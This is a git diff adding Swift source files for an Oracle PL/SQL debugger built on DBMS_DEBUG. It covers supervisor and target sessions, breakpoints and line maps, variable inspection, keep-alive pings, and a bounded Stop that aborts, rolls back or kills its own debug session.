+        return try await stoppedOnError { await settle(try await wait(flags: flags)) }
+    }
+
+    // A call Stop overlapped ends as stopped, whatever its own statements reported after the drivers closed.
+    private func stoppedOnError(_ body: () async throws -> OracleDebugStop) async throws -> OracleDebugStop {
+        do {
+            return try await body()
+        } catch {
+            if stopRequested { return await outcomeOfStop() }
+            throw error
+        }
+    }
+
+    // A stop in the anonymous block that called the entry point has nothing to show, so it runs on.
+    private func settle(_ start: Statements.Event) async -> OracleDebugStop {
+        var event = start
+        while event.isPause, !stopRequested, location(of: event) == nil {
+            guard let next = try? await wait(flags: Statements.BreakFlags.breakpointsOnly) else { break }
+            event = next
+        }
+        if stopRequested, event.isPause {
+            _ = try? await resume(flags: Statements.BreakFlags.abortExecution)
+        }
+        guard event.isPause, !stopRequested, let location = location(of: event) else {
+            return await conclude()
+        }
+        lastEvent = event
+        state = .paused
+        return .paused(location)
+    }
+
+    // One supervisor wait lasts `supervisorTimeoutSeconds`; between waits it checks for Stop and for the routine
+    // having ended, which a SYNCHRONIZE after the target finished would otherwise wait out.
+    private func wait(flags: Int?) async throws -> Statements.Event {
+        var event = try await resume(flags: flags)
+        while event.timedOut {
+            if gaveUp || callEnded || isStopped {
+                return event
+            }
+            event = try await resume(flags: nil)
+        }
+        if stopRequested, !isStopped, event.isPause {
+            event = try await resume(flags: Statements.BreakFlags.abortExecution)
+        }
+        return event
+    }
+
+    private func resume(flags: Int?) async throws -> Statements.Event {
+        targetPosition = .unknown
+        let fields = try await OracleDebugSupport.payload(Statements.resume(flags: flags), on: supervisor)
+        let event = try Statements.event(fromPayload: fields)
+        targetPosition = event.isPause ? .paused : .running
+        // Here, not where a step reports its pause: a step that fails after the target paused leaves `state` running.
+        if event.isPause, !stopRequested {
+            startPinging()
+        }
+        return event
+    }
+
+    private func markCallEnded(_ result: Result<[String?], Error>) {
+        callResult = result
+    }
+
+    private var callEnded: Bool { callResult != nil }
+
+    private var callEndedOnServer: Bool { callResult.map(OracleDebugSupport.endedOnServer) ?? false }
+
+    private func location(of event: Statements.Event) -> OracleDebugLocation? {
+        guard let top = event.backtrace.last, let unit = top.unit, let line = event.line ?? top.line, line > 0 else {
+            return nil
+        }
+        return OracleDebugLocation(unit: unit, line: line)
+    }
+
+    private func conclude() async -> OracleDebugStop {
+        stopPinging()
+        if stopRequested {
+            return await outcomeOfStop()
+        }
+        let result: Result<[String?], Error>?
+        if let call {
+            result = await OracleDebugSupport.value(of: call, within: OracleDebugStopBudget.seconds(callEndWait))
+        } else {
+            result = .failure(OracleDebugError.ended)
+        }
+        var stop = await OracleDebugSupport.conclude(
+            result,
+            stopped: stopRequested,
+            entryPoint: entryPoint,
+            target: target,
+            targetIdentity: targetIdentity
+        ) { [noticeContinuation] in noticeContinuation.yield($0) }
+        if gaveUp {
+            stop = .failed(.stillRunning(targetIdentity))
+        }
+        _ = try? await supervisor.executeDirect(Statements.detach)
+        state = .ended
+        noticeContinuation.finish()
+        return stop
+    }
+
+    // Stop owns the cleanup and the drivers are the host's once it returns, so a waiting call only reports its result.
+    private func outcomeOfStop() async -> OracleDebugStop {
+        if !isStopped {
+            await withCheckedContinuation { stopWaiters.append($0) }
+        }
+        return gaveUp ? .failed(.stillRunning(targetIdentity)) : .failed(.stopped)
+    }
+
+    // MARK: - Keeping the target alive
+
+    // The target aborts itself after `targetTimeoutSeconds` without a word from the supervisor, which is what ends it
+    // if the app goes away. PING keeps it waiting while a person reads a pause.
+    private func startPinging() {
+        guard pinger == nil else { return }
+        pinger = Task { [weak self] in
+            while !Task.isCancelled {
+                try? await Task.sleep(nanoseconds: UInt64(Statements.pingIntervalSeconds) * 1_000_000_000)
+                guard !Task.isCancelled else { return }
+                await self?.pingIfPaused()
+            }
+        }
+    }
+
+    private func stopPinging() {
+        pinger?.cancel()
+        pinger = nil
+    }
+
+    private func pingIfPaused() async {
+        guard targetPosition == .paused, !isDriving, !stopRequested else { return }
+        do {
+            _ = try await supervisor.executeDirect(Statements.ping)
+        } catch {
+            logger.notice("DBMS_DEBUG ping failed: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)")
+        }
+    }
+
+    // MARK: - Breakpoints
+
+    // A call Stop overlaps keeps the supervisor's gate until it finishes, then ends with Stop, not with what it read or
+    // failed to read from a closing connection.
+    private func readable<T: Sendable>(_ body: () async throws -> T) async throws -> T {
+        guard !stopRequested else { throw OracleDebugError.ended }
+        let value: T
+        do {
+            value = try await body()
+        } catch {
+            if stopRequested { throw OracleDebugError.ended }
+            throw error
+        }
+        if stopRequested { throw OracleDebugError.ended }
+        return value
+    }
+
+    public func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? {
+        try await setBreakpoint(in: unit, line: line, atStart: false)
+    }
+
+    private func setBreakpoint(in unit: OracleDebugUnit, line: Int, atStart: Bool) async throws -> Int? {
+        guard state != .ended else { throw OracleDebugError.ended }
+        guard let landed = try await readable({ try await placeBreakpoint(in: unit, line: line) }) else { return nil }
+        holds.hold(landed, in: unit, by: atStart ? line : landed)
+        return landed
+    }
+
+    private func placeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? {
+        let lines = try await executableLines(of: unit)
+        guard let resolved = lines.first(where: { $0 >= line }) else { return nil }
+        let key = BreakpointKey(unit: unit, line: resolved)
+        if placed[key] != nil || pending.contains(key) { return resolved }
+        // Before the target starts there is nothing for SET_BREAKPOINT to talk to.
+        guard state == .paused else {
+            pending.insert(key)
+            return resolved
+        }
+        guard let number = try await placeNow(key) else { return nil }
+        placed[key] = number
+        return resolved
+    }
+
+    private func placeNow(_ key: BreakpointKey) async throws -> Int? {
+        let fields = try await OracleDebugSupport.payload(
+            Statements.setBreakpoint(unit: key.unit, line: key.line),
+            on: supervisor
+        )
+        let answer = try Statements.breakpointAnswer(fromPayload: fields)
+        guard answer.status == Statements.Status.success else { return nil }
+        return answer.number
+    }
+
+    public func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws {
+        guard let landed = holds.release(line, in: unit) else { return }
+        let key = BreakpointKey(unit: unit, line: landed)
+        pending.remove(key)
+        guard let number = placed.removeValue(forKey: key), state == .paused else { return }
+        do {
+            try await readable {
+                _ = try await supervisor.executeDirect(Statements.deleteBreakpoints([number]))
+            }
+        } catch {
+            // Still set on the server, so removing it again has to find it.
+            holds.hold(landed, in: unit, by: line)
+            placed[key] = number
+            throw error
+        }
+    }
+
+    private func executableLines(of unit: OracleDebugUnit) async throws -> [Int] {
+        if let lines = lineMaps[unit] { return lines }
+        let lines = try await OracleDebugSupport.executableLines(of: unit, on: supervisor) ?? []
+        lineMaps[unit] = lines
+        return lines
+    }
+
+    // MARK: - Inspection
+
+    public func source(of unit: OracleDebugUnit) async throws -> String {
+        try await readable { try await OracleDebugSupport.source(of: unit, on: supervisor) }
+    }
+
+    private func scan(of unit: OracleDebugUnit) async throws -> OraclePLSQLDeclarationScan {
+        if let scan = scans[unit] { return scan }
+        let scan = OraclePLSQLDeclarationScan(source: try await source(of: unit))
+        scans[unit] = scan
+        return scan
+    }
+
+    private var visibleFrames: [VisibleFrame] {
+        guard let event = lastEvent else { return [] }
+        var frames: [VisibleFrame] = []
+        let count = event.backtrace.count
+        for (offset, frame) in event.backtrace.enumerated().reversed() {
+            guard let unit = frame.unit else { continue }
+            let isTop = offset == count - 1
+            let line = isTop ? (event.line ?? frame.line ?? 0) : (frame.line ?? 0)
+            frames.append(VisibleFrame(
+                location: OracleDebugLocation(unit: unit, line: line),
+                subprogram: frame.entryPoint,
+                valueFrame: isTop ? 0 : offset + 1
+            ))
+        }
+        return frames
+    }
+
+    public func stack() async throws -> [OracleDebugFrame] {
+        guard !stopRequested else { throw OracleDebugError.ended }
+        guard state == .paused else { throw OracleDebugError.notPaused }
+        return visibleFrames.enumerated().map { level, frame in
+            OracleDebugFrame(level: level, location: frame.location, subprogram: frame.subprogram)
+        }
+    }
+
+    public func variables(inFrame level: Int) async throws -> [OracleDebugVariable] {
+        guard state == .paused else { throw OracleDebugError.notPaused }
+        return try await readable { try await readVariables(inFrame: level) }
+    }
+
+    private func readVariables(inFrame level: Int) async throws -> [OracleDebugVariable] {
+        let frames = visibleFrames
+        guard frames.indices.contains(level) else { return [] }
+        let frame = frames[level]
+        let unit = frame.location.unit
+        let candidates = (try? await scan(of: unit))?.candidates(atLine: frame.location.line) ?? []
+        var requests = candidates.map { Statements.ValueRequest(name: $0.lookupName, frame: frame.valueFrame) }
+        var package: [(declaration: OraclePLSQLDeclarationScan.Declaration, unit: OracleDebugUnit)] = []
+        if unit.kind == .packageBody || unit.kind == .package {
+            for kind in [OracleDebugUnitKind.packageBody, .package] {
+                let owner = OracleDebugUnit(owner: unit.owner, name: unit.name, kind: kind)
+                for declaration in (try? await scan(of: owner))?.packageVariables ?? [] {
+                    package.append((declaration, owner))
+                    requests.append(Statements.ValueRequest(name: declaration.lookupName, package: owner))
+                }
+            }
+        }
+        guard !requests.isEmpty else { return [] }
+        let values = Statements.values(requests)
+        let fields = try await OracleDebugSupport.payload(values.block, binds: values.binds, on: supervisor)
+        let answers = try Statements.valueAnswers(fromPayload: fields, count: requests.count)
+        var result: [OracleDebugVariable] = []
+        for (index, answer) in answers.enumerated() {
+            let declaration = index < candidates.count ? candidates[index] : package[index - candidates.count].declaration
+            // GET_VALUE resolves a quoted name with a dot but not one with a space (measured), so that one is shown unreadable.
+            guard let value = Statements.value(status: answer.status, text: answer.value)
+                ?? (declaration.name.contains(where: \.isWhitespace) ? .unavailable : nil)
+            else { continue }
+            let kind: OracleDebugVariableKind
+            if index >= candidates.count {
+                kind = .package
+            } else {
+                kind = declaration.kind == .parameter ? .argument : .local
+            }
+            result.append(OracleDebugVariable(
+                name: declaration.name,
+                kind: kind,
+                typeName: declaration.typeText,
+                value: value,
+                isConstant: declaration.kind == .constant
+            ))
+        }
+        return result
+    }
+
+    // MARK: - Stop
+
+    // At a pause, abort_execution ends the routine with ORA-06543 and its work rolls back (measured). While it runs,
+    // the target reads nothing the supervisor sends, abort included (measured: SET_BREAKPOINT and the abort both
+    // timed out and the routine ran to its end), so Stop waits for its next stop or its end, for a bounded time.
+    // A step that failed may have left it paused, where only the abort ends it without ALTER SYSTEM.
+    public func stop() async -> OracleDebugStopResult {
+        if stopRequested {
+            if !isStopped {
+                await withCheckedContinuation { stopWaiters.append($0) }
+            }
+            return stopResult
+        }
+        stopRequested = true
+        stopPinging()
+        let clock = ContinuousClock()
+        let deadline = clock.now.advanced(by: OracleDebugStopBudget.total)
+        let endBy = deadline - OracleDebugStopBudget.cleanup
+        if let call {
+            var ended: Bool
+            if targetPosition != .running, !isDriving {
+                // A read Stop overlaps holds the supervisor's gate first; the abort waits for it at most half the budget.
+                await bounded(by: clock.now.advanced(by: OracleDebugStopBudget.total / 2), closing: supervisor) { _ in
+                    _ = try? await self.resume(flags: Statements.BreakFlags.abortExecution)
+                }
+                ended = await callEnds(call, before: clock.now.advanced(by: .seconds(1)))
+                if !ended {
+                    ended = await OracleDebugStopBudget.endRunningTarget(clock: clock, budget: clock.now.duration(to: endBy)) {
+                        await killTarget(within: clock.now.duration(to: endBy))
+                    } waitForEnd: { remaining in
+                        await callEnds(call, before: clock.now.advanced(by: remaining))
+                    }
+                }
+            } else {
+                ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) {
+                    await killTarget(within: clock.now.duration(to: endBy))
+                } waitForEnd: { remaining in
+                    await callEnds(call, before: clock.now.advanced(by: remaining))
+                }
+            }
+            ended = ended || callEndedOnServer
+            if ended {
+                await bounded(by: deadline, closing: target) { target in
+                    _ = try? await target.executeDirect("ROLLBACK")
+                }
+            } else {
+                gaveUp = true
+            }
+            stopResult = ended ? .ended : .unconfirmed(targetIdentity)
+        } else {
+            // Before the routine ran, the target only switched debug mode on; it holds no work.
+            stopResult = .ended
+        }
+        if !isDriving {
+            await bounded(by: deadline, closing: supervisor) { supervisor in
+                _ = try? await supervisor.executeDirect(Statements.detach)
+            }
+        }
+        state = .ended
+        noticeContinuation.finish()
+        isStopped = true
+        let waiters = stopWaiters
+        stopWaiters.removeAll()
+        for waiter in waiters {
+            waiter.resume()
+        }
+        return stopResult
+    }
+
+    // A call that failed on its own connection ended only on this side, so Stop goes on as for one still running.
+    private func callEnds(_ call: Task<Result<[String?], Error>, Never>, before deadline: ContinuousClock.Instant) async -> Bool {
+        let remaining = ContinuousClock.now.duration(to: deadline)
+        guard remaining > .zero else { return callEndedOnServer }
+        return await OracleDebugSupport.endedOnServer(call, within: OracleDebugStopBudget.seconds(remaining))
+    }
+
+    // A statement that would run past the budget has its channel closed, which is what ends it.
+    private func bounded(
+        by deadline: ContinuousClock.Instant,
+        closing connection: any OracleDebugChannel,
+        _ body: @escaping @Sendable (any OracleDebugChannel) async -> Void
+    ) async {
+        let remaining = ContinuousClock.now.duration(to: deadline)
+        guard remaining > .zero else { return }
+        _ = try? await withOracleTimeout(
+            seconds: OracleDebugStopBudget.seconds(remaining),
+            onTimeout: { connection.cancelCurrentQuery() }
+        ) {
+            await body(connection)
+        }
+    }
+
+    // The supervisor waits at most `supervisorTimeoutSeconds` on the gate behind its own poll.
+    private func killTarget(within budget: Duration) async -> OracleDebugStopBudget.KillOutcome {
+        await OracleDebugSupport.kill(targetIdentity, from: supervisor, within: OracleDebugStopBudget.seconds(budget))
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift
new file mode 100644
index 0000000000..71d2c94848
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift
@@ -0,0 +1,382 @@
+import Foundation
+
+// DBMS_DEBUG's two sessions: the target runs the routine, the supervisor drives it. Every supervisor call is one
+// block that answers through `OracleDebugPayload`, because the runtime_info and program_info records cannot be bound.
+public enum OracleDBMSDebugStatements {
+    // DBMS_DEBUG's break flags.
+    public enum BreakFlags {
+        public static let breakpointsOnly = 0
+        public static let nextLine = 32
+        public static let anyCall = 12
+        // Named backwards in the package (its own comment says so): this one stops in the caller after the return.
+        public static let anyReturn = 512
+        public static let abortExecution = 8_192
+    }
+
+    public enum Status {
+        public static let success = 0
+        public static let noSuchObject = 3
+        public static let illegalLine = 12
+        public static let badHandle = 16
+        public static let indexedTable = 18
+        public static let timeout = 31
+        public static let nullValue = 32
+        public static let nullCollection = 40
+    }
+
+    public enum Reason {
+        public static let interpreterStarting = 2
+        public static let breakpoint = 3
+        public static let knlExit = 25
+    }
+
+    // How long the target waits for the supervisor at a stop before it aborts itself. The supervisor pings it while
+    // the person reads a pause, so only a supervisor that went away lets it run out (measured: ORA-06543 after the
+    // timeout, its work rolled back).
+    public static let targetTimeoutSeconds = 30
+    public static let pingIntervalSeconds = 10
+    // How long one supervisor wait lasts before it returns to check for Stop and for the target's call ending.
+    // Also the longest Stop's kill waits on the gate behind a poll, inside its 3 second budget.
+    public static let supervisorTimeoutSeconds = 1
+
+    static let abortOnTimeout = 3
+    static let infoFlags = 2 + 4 + 8
+
+    // MARK: - Target
+
+    public static func targetSetup(debugID: String) -> (block: String, binds: [OracleBindValue]) {
+        let block = """
+            DECLARE
+              l_id VARCHAR2(32767);
+              l_timeout BINARY_INTEGER;
+            BEGIN
+              EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.INITIALIZE(:1) INTO :2' USING :1, OUT l_id;
+              EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.SET_TIMEOUT_BEHAVIOUR(\(abortOnTimeout))';
+              EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.SET_TIMEOUT(\(targetTimeoutSeconds)) INTO :1' USING OUT l_timeout;
+              EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.DEBUG_ON()';
+            END;
+            """
+        return (block, [.text(debugID)])
+    }
+
+    // Read before DEBUG_ON, so the target's own PL/SQL does not stop it. DBMS_DEBUG_JDWP's functions answer for any
+    // user (EXECUTE is granted to PUBLIC, measured); V$SESSION needs SELECT_CATALOG_ROLE; the SID alone always works.
+    public static let sessionIdentityQueries = [
+        """
+        SELECT SYS.DBMS_DEBUG_JDWP.CURRENT_SESSION_ID, SYS.DBMS_DEBUG_JDWP.CURRENT_SESSION_SERIAL, \
+        SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.DUAL
+        """,
+        "SELECT SID, SERIAL#, SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.V_$SESSION WHERE SID = SYS_CONTEXT('USERENV', 'SID')",
+        "SELECT SYS_CONTEXT('USERENV', 'SID'), NULL, SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.DUAL"
+    ]
+
+    public static func sessionIdentity(fromRow row: [String?]) -> OracleDebugSessionIdentity? {
+        func number(_ index: Int) -> Int? {
+            (row.count > index ? row[index] : nil).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) }
+        }
+        guard let sid = number(0) else { return nil }
+        return OracleDebugSessionIdentity(sid: sid, serial: number(1), instance: number(2))
+    }
+
+    // Ends a target the supervisor cannot reach between breakpoints. Needs ALTER SYSTEM; ORA-01031 otherwise.
+    public static func killSession(_ identity: OracleDebugSessionIdentity) -> String? {
+        guard let serial = identity.serial else { return nil }
+        let instance = identity.instance.map { ",@\($0)" } ?? ""
+        return "ALTER SYSTEM KILL SESSION '\(identity.sid),\(serial)\(instance)' IMMEDIATE"
+    }
+
+    // MARK: - Supervisor
+
+    // The supervisor runs no code of the person's, so its schema can be its own, which keeps `SYS` meaning the schema
+    // in the blocks below.
+    public static let ownSchema = """
+        BEGIN
+          EXECUTE IMMEDIATE 'ALTER SESSION SET CURRENT_SCHEMA = "' || REPLACE(SYS_CONTEXT('USERENV', 'SESSION_USER'), '"', '""') || '"';
+        END;
+        """
+
+    public static func attach(debugID: String) -> (block: String, binds: [OracleBindValue]) {
+        let block = """
+            DECLARE
+              l_timeout BINARY_INTEGER;
+            BEGIN
+              l_timeout := SYS.DBMS_DEBUG.SET_TIMEOUT(\(supervisorTimeoutSeconds));
+              SYS.DBMS_DEBUG.ATTACH_SESSION(:1);
+            END;
+            """
+        return (block, [.text(debugID)])
+    }
+
+    public static let detach = """
+        BEGIN
+          SYS.DBMS_DEBUG.DETACH_SESSION;
+        END;
+        """
+
+    public static let ping = """
+        BEGIN
+          SYS.DBMS_DEBUG.PING;
+        EXCEPTION
+          WHEN OTHERS THEN NULL;
+        END;
+        """
+
+    // `flags` nil synchronizes instead of continuing. A stop answers the runtime record and the backtrace in one round
+    // trip; a terminated program has no backtrace, and asking for one there raises inside SYS.PBREAK (measured).
+    public static func resume(flags: Int?) -> String {
+        let call = flags.map { "SYS.DBMS_DEBUG.CONTINUE(l_info, \($0), \(infoFlags))" }
+            ?? "SYS.DBMS_DEBUG.SYNCHRONIZE(l_info, \(infoFlags))"
+        return """
+            DECLARE
+              l_info SYS.DBMS_DEBUG.RUNTIME_INFO;
+              l_trace SYS.DBMS_DEBUG.BACKTRACE_TABLE;
+              l_status BINARY_INTEGER;
+            \(OracleDebugPayload.declarations)
+            BEGIN
+              l_status := \(call);
+              put(TO_CHAR(l_status));
+              put(TO_CHAR(l_info.Reason));
+              put(TO_CHAR(l_info.Terminated));
+              put(TO_CHAR(l_info.Line#));
+              put(TO_CHAR(l_info.Breakpoint));
+              IF l_status = 0 AND NVL(l_info.Terminated, 0) = 0 THEN
+                SYS.DBMS_DEBUG.PRINT_BACKTRACE(l_trace);
+                put(TO_CHAR(l_trace.COUNT));
+                FOR i IN 1 .. l_trace.COUNT LOOP
+                  put(l_trace(i).Owner);
+                  put(l_trace(i).Name);
+                  put(TO_CHAR(l_trace(i).Namespace));
+                  put(TO_CHAR(l_trace(i).LibunitType));
+                  put(TO_CHAR(l_trace(i).Line#));
+                  put(l_trace(i).EntrypointName);
+                END LOOP;
+              ELSE
+                put('0');
+              END IF;
+            \(OracleDebugPayload.openCursor)
+            END;
+            """
+    }
+
+    public static func setBreakpoint(unit: OracleDebugUnit, line: Int) -> String {
+        """
+        DECLARE
+          l_program SYS.DBMS_DEBUG.PROGRAM_INFO;
+          l_number BINARY_INTEGER;
+          l_status BINARY_INTEGER;
+        \(OracleDebugPayload.declarations)
+        BEGIN
+          l_program.Namespace := \(unit.kind.namespace);
+          l_program.Owner := \(OracleDebugUnit.literal(unit.owner));
+          l_program.Name := \(OracleDebugUnit.literal(unit.name));
+          l_program.Line# := \(line);
+          l_status := SYS.DBMS_DEBUG.SET_BREAKPOINT(l_program, \(line), l_number);
+          put(TO_CHAR(l_status));
+          put(TO_CHAR(l_number));
+        \(OracleDebugPayload.openCursor)
+        END;
+        """
+    }
+
+    public static func deleteBreakpoints(_ numbers: [Int]) -> String {
+        let calls = numbers.map { "  l_status := SYS.DBMS_DEBUG.DELETE_BREAKPOINT(\($0));" }.joined(separator: "\n")
+        return """
+            DECLARE
+              l_status BINARY_INTEGER;
+            BEGIN
+            \(calls.isEmpty ? "  NULL;" : calls)
+            END;
+            """
+    }
+
+    // GET_LINE_MAP answers from any session, before or without ATTACH_SESSION (measured), so it also places JDWP
+    // breakpoints in a unit that has not loaded yet.
+    public static func lineMap(of unit: OracleDebugUnit) -> String {
+        """
+        DECLARE
+          l_program SYS.DBMS_DEBUG.PROGRAM_INFO;
+          l_max BINARY_INTEGER;
+          l_entries BINARY_INTEGER;
+          l_map RAW(32767);
+          l_status BINARY_INTEGER;
+        \(OracleDebugPayload.declarations)
+        BEGIN
+          l_program.Namespace := \(unit.kind.namespace);
+          l_program.Owner := \(OracleDebugUnit.literal(unit.owner));
+          l_program.Name := \(OracleDebugUnit.literal(unit.name));
+          l_status := SYS.DBMS_DEBUG.GET_LINE_MAP(l_program, l_max, l_entries, l_map);
+          put(TO_CHAR(l_status));
+          put(TO_CHAR(l_max));
+          put(RAWTOHEX(l_map));
+        \(OracleDebugPayload.openCursor)
+        END;
+        """
+    }
+
+    public struct ValueRequest: Sendable, Equatable {
+        public let name: String
+        // Nil reads a package variable through its handle; otherwise DBMS_DEBUG's frame number.
+        public let frame: Int?
+        public let package: OracleDebugUnit?
+
+        public init(name: String, frame: Int) {
+            self.name = name
+            self.frame = frame
+            self.package = nil
+        }
+
+        public init(name: String, package: OracleDebugUnit) {
+            self.name = name
+            self.frame = nil
+            self.package = package
+        }
+    }
+
+    // A name comes from the unit's source text, so request n's goes in as bind :n, never as SQL.
+    public static func values(_ requests: [ValueRequest]) -> (block: String, binds: [OracleBindValue]) {
+        let reads = requests.enumerated().map { index, request -> String in
+            let name = ":\(index + 1)"
+            if let package = request.package {
+                return """
+                      l_handle.Namespace := \(package.kind.namespace);
+                      l_handle.Owner := \(OracleDebugUnit.literal(package.owner));
+                      l_handle.Name := \(OracleDebugUnit.literal(package.name));
+                      l_value := NULL;
+                      l_status := SYS.DBMS_DEBUG.GET_VALUE(\(name), l_handle, l_value, NULL);
+                      put(TO_CHAR(l_status));
+                      put(l_value);
+                    """
+            }
+            return """
+                  l_value := NULL;
+                  l_status := SYS.DBMS_DEBUG.GET_VALUE(\(name), \(request.frame ?? 0), l_value, NULL);
+                  put(TO_CHAR(l_status));
+                  put(l_value);
+                """
+        }
+        let block = """
+            DECLARE
+              l_handle SYS.DBMS_DEBUG.PROGRAM_INFO;
+              l_value VARCHAR2(32767);
+              l_status BINARY_INTEGER;
+            \(OracleDebugPayload.declarations)
+            BEGIN
+            \(reads.joined(separator: "\n"))
+            \(OracleDebugPayload.openCursor)
+            END;
+            """
+        return (block, requests.map { .text($0.name) })
+    }
+
+    // MARK: - Answers
+
+    public struct Frame: Sendable, Equatable {
+        public let owner: String?
+        public let name: String?
+        public let namespace: Int?
+        public let libunitType: Int?
+        public let line: Int?
+        public let entryPoint: String?
+
+        public init(owner: String?, name: String?, namespace: Int?, libunitType: Int?, line: Int?, entryPoint: String?) {
+            self.owner = owner
+            self.name = name
+            self.namespace = namespace
+            self.libunitType = libunitType
+            self.line = line
+            self.entryPoint = entryPoint
+        }
+
+        // The anonymous block that called the entry point has namespace 0 and no name.
+        public var unit: OracleDebugUnit? {
+            guard let owner, let name, !name.isEmpty, let namespace,
+                  let kind = OracleDebugUnitKind(namespace: namespace, libunitType: libunitType ?? -1)
+            else { return nil }
+            return OracleDebugUnit(owner: owner, name: name, kind: kind)
+        }
+    }
+
+    public struct Event: Sendable, Equatable {
+        public let status: Int
+        public let reason: Int?
+        public let terminated: Bool
+        public let line: Int?
+        public let breakpoint: Int?
+        // Oldest first, as PRINT_BACKTRACE numbers them: GET_VALUE's frame number is this index plus one.
+        public let backtrace: [Frame]
+
+        public var timedOut: Bool { status == Status.timeout }
+        public var isPause: Bool { status == Status.success && !terminated }
+    }
+
+    public static func event(fromPayload fields: [String?]) throws -> Event {
+        var reader = OracleDebugPayloadReader(fields)
+        let status = try reader.int() ?? -1
+        let reason = try reader.int()
+        let terminated = (try reader.int() ?? 0) != 0
+        let line = try reader.int()
+        let breakpoint = try reader.int()
+        let count = try reader.int() ?? 0
+        var frames: [Frame] = []
+        for _ in 0..<max(count, 0) {
+            frames.append(Frame(
+                owner: try reader.next(),
+                name: try reader.next(),
+                namespace: try reader.int(),
+                libunitType: try reader.int(),
+                line: try reader.int(),
+                entryPoint: try reader.next()
+            ))
+        }
+        return Event(status: status, reason: reason, terminated: terminated, line: line, breakpoint: breakpoint, backtrace: frames)
+    }
+
+    public static func breakpointAnswer(fromPayload fields: [String?]) throws -> (status: Int, number: Int?) {
+        var reader = OracleDebugPayloadReader(fields)
+        return (try reader.int() ?? -1, try reader.int())
+    }
+
+    public static func valueAnswers(fromPayload fields: [String?], count: Int) throws -> [(status: Int, value: String?)] {
+        var reader = OracleDebugPayloadReader(fields)
+        var answers: [(status: Int, value: String?)] = []
+        for _ in 0..<count {
+            answers.append((try reader.int() ?? -1, try reader.next()))
+        }
+        return answers
+    }
+
+    public static func value(status: Int, text: String?) -> OracleDebugValue? {
+        switch status {
+        case Status.success: return .scalar(text)
+        case Status.nullValue, Status.nullCollection: return .scalar(nil)
+        case Status.indexedTable: return .collection(count: nil)
+        default: return nil
+        }
+    }
+
+    // Line N is executable when bit N mod 8 of byte N / 8 is set (the package's own description).
+    public static func executableLines(fromPayload fields: [String?]) throws -> [Int]? {
+        var reader = OracleDebugPayloadReader(fields)
+        guard try reader.int() == Status.success else { return nil }
+        let maxLine = try reader.int() ?? 0
+        let hex = try reader.next() ?? ""
+        return executableLines(hexMap: hex, maxLine: maxLine)
+    }
+
+    public static func executableLines(hexMap hex: String, maxLine: Int) -> [Int] {
+        var bytes: [UInt8] = []
+        var index = hex.startIndex
+        while index < hex.endIndex, let next = hex.index(index, offsetBy: 2, limitedBy: hex.endIndex) {
+            if let byte = UInt8(hex[index..<next], radix: 16) { bytes.append(byte) }
+            index = next
+        }
+        // The map holds eight lines a byte, so a larger `maxLine` adds nothing to read.
+        let last = min(max(maxLine, 0), bytes.count * 8 - 1)
+        guard last >= 1 else { return [] }
+        var lines: [Int] = []
+        for line in 1...last where bytes[line / 8] & (1 << UInt8(line % 8)) != 0 {
+            lines.append(line)
+        }
+        return lines
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift
new file mode 100644
index 0000000000..23d8da4376
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift
@@ -0,0 +1,33 @@
+import Foundation
+
+// The lines a caller removes each breakpoint by, keyed by the line it landed on. One sent at start is held by the line
+// it asked for, since its caller never learns where it landed; one set later, by the line `setBreakpoint` answered.
+struct OracleDebugBreakpointHolds {
+    private var holders: [OracleDebugUnit: [Int: Set<Int>]] = [:]
+
+    mutating func hold(_ landed: Int, in unit: OracleDebugUnit, by line: Int) {
+        holders[unit, default: [:]][landed, default: []].insert(line)
+    }
+
+    // A pending JDWP breakpoint lands again once its unit loads, possibly on a later line.
+    mutating func move(_ landed: Int, to line: Int, in unit: OracleDebugUnit) {
+        guard line != landed, let held = holders[unit]?.removeValue(forKey: landed) else { return }
+        holders[unit, default: [:]][line, default: []].formUnion(held)
+    }
+
+    mutating func drop(_ landed: Int, in unit: OracleDebugUnit) {
+        holders[unit]?[landed] = nil
+    }
+
+    // The landed line of the breakpoint `line` names, once no other line holds it; nil while one still does.
+    mutating func release(_ line: Int, in unit: OracleDebugUnit) -> Int? {
+        guard let landed = holders[unit]?.first(where: { $0.value.contains(line) })?.key else {
+            drop(line, in: unit)
+            return line
+        }
+        holders[unit]?[landed]?.remove(line)
+        guard holders[unit]?[landed]?.isEmpty == true else { return nil }
+        drop(landed, in: unit)
+        return landed
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift
new file mode 100644
index 0000000000..b0c4cd6f20
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift
@@ -0,0 +1,16 @@
+import Foundation
+
+// A database session a debug engine sends its statements on: the target, the DBMS_DEBUG supervisor or the JDWP helper.
+protocol OracleDebugChannel: AnyObject, Sendable {
+    func executeDirect(_ sql: String, binds: [OracleBindValue], autoCommit: Bool, readsRows: Bool) async throws -> [String?]
+    func executeQuery(_ query: String) async throws -> OracleRawResult
+    func cancelCurrentQuery()
+}
+
+extension OracleDebugChannel {
+    func executeDirect(_ sql: String, binds: [OracleBindValue] = [], readsRows: Bool = false) async throws -> [String?] {
+        try await executeDirect(sql, binds: binds, autoCommit: false, readsRows: readsRows)
+    }
+}
+
